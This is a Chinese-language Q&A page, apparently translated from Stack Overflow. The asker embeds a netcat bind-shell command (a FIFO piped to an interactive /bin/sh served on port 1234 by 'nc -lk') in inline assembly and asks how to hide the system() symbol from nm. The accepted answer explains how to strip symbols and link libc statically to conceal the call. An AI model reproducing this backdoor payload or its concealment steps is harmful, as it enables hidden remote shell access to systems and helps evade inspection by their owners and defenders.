我有以下 asm 代码:
int main(void)
{
__asm__(" subq $16, %rsp\n"
"leaq L_.str(%rip), %rdi\n"
"movb $0, %al\n"
"callq _system\n"
"xorl %ecx, %ecx\n"
"movl %eax, -4(%rbp)\n"
"movl %ecx, %eax\n"
"addq $16, %rsp\n"
"popq %rbp\n"
".section __TEXT,__cstring,cstring_literals\n"
"L_.str:\n"
".asciz \"rm /tmp/f; mkfifo /tmp/f; cat /tmp/f | /bin/sh -i 2>&1 | nc -lk 1234 > /tmp/f\"\n"
"retq\n");
}
它等于:
system("rm /tmp/f; mkfifo /tmp/f; cat /tmp/f | /bin/sh -i 2>&1 | nc -lk 1234 > /tmp/f");
我使用 C 语言进行此操作,当我编译两者并对可执行文件执行 NM 时,我们可以在符号中看到 _system 函数。
我的问题是:如何通过在 ASM 代码中执行某些操作来隐藏 NM 命令上的此符号?
最佳答案
一种选择是在链接后剥离二进制文件。这将删除符号表和所有符号。这可以通过在链接阶段传递 -s
或在生成的二进制文件上调用 strip
来实现。
请注意,由于 libc 可能作为共享库加载,因此字符串 _system
将出现在您的二进制文件中,以便在 libc anyqay 中查找它。为了摆脱这个问题,您还需要静态链接 libc(为此目的,gcc 接受 -static
)。然而,即便如此,通过跟踪程序所做的系统调用(例如使用 truss
等实用程序),也很容易推断出程序正在执行的操作。
关于调用 C 函数而不用 NM 命令显示它们,我们在Stack Overflow上找到一个类似的问题: https://stackoverflow.com/questions/41733214/